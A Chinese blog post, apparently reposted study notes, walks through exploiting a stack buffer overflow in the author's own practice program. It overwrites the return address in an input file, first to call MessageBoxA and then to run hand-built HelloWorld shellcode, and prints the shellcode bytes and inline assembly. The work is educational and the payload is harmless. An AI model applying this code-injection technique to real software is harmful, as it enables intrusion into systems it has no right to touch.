溢出漏洞原理及利用(2)

溢出漏洞原理及利用

本文是作者学习过程的笔记整理而来的,如有错误,还请见谅!

接上一篇

利用溢出执行系统的MessageBox

既然是函数的返回地址被淹没了,导致执行返回地址处的代码的时候出错,我们也看到返回地址处是我们在password.txt中输入的数据当成了地址,那么我们是不是可以控制这个数据,让它返回的时候返回我们自己想要执行地方.
简单测试(弹出系统MessageBox):
因为之前已经想到了要使用MessageBox,所以其实代码中早就加入了

    if (NULL == (fp = fopen("password.txt", "rb")))
    {
        MessageBoxA(NULL, "Open File Fail", "error", NULL);
        exit(0);
    }

这样是为了测试跟演示方便(不需要在加载其dll了).
好,我们先找到程序中MessageBoxA函数的地址
使用x64dbg打开源程序,ctrl+G输入表达式MessageBoxA确定,
如下,找到地址0x7666F8B0
这里写图片描述
这里写图片描述
使用010Editor以十六进制的方式打开password.txt文件,找到函数返回地址处
这里写图片描述
更改成MessageBoxA的地址(0x7666F8B0):
这里写图片描述
那么MessageBoxA还有4个参数呢,把它们放在哪里呢?
根据函数栈中的结构,我们知道参数是在返回地址的高地址处,这个源程序也把文件中的数据顺序复制到栈中了.所以我们直接在函数返回值后边”压栈”4个参数0.
这里写图片描述
保存password.txt文件,再次运行源程序测试.
这里写图片描述
弹出了对话框,测试成功.


利用溢出执行自己的代码

构造最简单的HelloWorld版本Shellcode
经过测试,我们知道利用这个函数的返回地址处,可以执行其他代码.
我们现在想的就是,自己写一段代码,然后把代码执行首地址填到溢出的地址处,测试能否执行.
为了生成最优的二进制代码,我们使用汇编语言编写主要部分,然后转化成OPCode测试.
主要功能:弹出一个带HelloWorld的MessageBox,然后防止程序错误,调用ExitProcess结束进程.
我们使用到的函数地址,依然是写死的地址.查找地址与上边类似
使用x64dbg打开源程序,ctrl+G输入表达式,如下,找到地址
MessageBoxA:0x7666F8B0
ExitProcess:0x74863BC0
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
写代码:

// shellcode_helloworld.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>

int main()
{
    LoadLibraryA("user32.dll");
    _asm 
    {
        sub esp, 0x20;
        jmp tag_shellcode
        //MessageBoxA
        _asm _emit(0xB0) _asm _emit(0xF8) _asm _emit(0x66) _asm _emit(0x76)
        //ExitProcess
        _asm _emit(0xC0) _asm _emit(0x3B) _asm _emit(0x86) _asm _emit(0x74)
        //HelloWorld
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
        _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
        _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)
    tag_shellcode:
        call tag_Next;
    tag_Next:
        pop esi;                    //call pop  == GetPC
        xor edx, edx;               //edx清零
        lea edi, [esi - 0x12];      //helloworld字符串地址
        mov eax, [esi - 0x1A];      //MessageBoxA
        push edx;                   //参数0
        push edi;                   //参数helloworld
        push edi;                   //参数helloworld
        push edx;                   //参数0
        call eax;                   //MessageBoxA
        mov eax, [esi - 0x16];      //ExitProcess
        push edx;                   //参数0
        call eax;                   //ExitProcess
    }
    return 0;
}

生成可执行程序,测试运行,没有问题.
这里写图片描述
现在代码和程序都有了,我们怎么把它们转成二进制代码呢.
当然是用神器x64dbg了.
把程序拖入x64dbg,找到main函数,找到汇编代码处:
这里写图片描述
注意,是第二个FF,D0处
这里写图片描述
在数据区选中右键复制数据,选择C样式shellcode字符串:
这里写图片描述
这样我们就得到了这个二进制字符串,为了之后工作无误,先测试一下复制的字符串是不是可以用
再次写代码:

// shellcode_helloworld.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

char bShellcode[] = "\x83\xEC\x20\xEB\x15\xB0\xF8\x66\x76\xC0\x3B\x86\x74\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0";

int main()
{
    _asm
    {
        lea eax, bShellcode;
        push eax;
        ret;
    }
    MessageBoxA(0, 0, 0, 0);//为了加载dll
    return 0;
}

生成执行文件,运行效果相同
这里写图片描述
运行最简单的HelloWorld版本Shellcode
经过以上,最后的二进制字符串就是我们构造的最简单的Shellcode了
现在我们让带有溢出漏洞的源程序执行我们构造的代码.
把二进制代码复制到password.txt中,返回地址写成:0019FD28
这里写图片描述
鼠标放在要复制的开始处,选择编辑菜单->十六进制复制
这里写图片描述
保存文件.运行源程序,成功!
这里写图片描述


猜你喜欢

转载自blog.csdn.net/wrsharper/article/details/79920816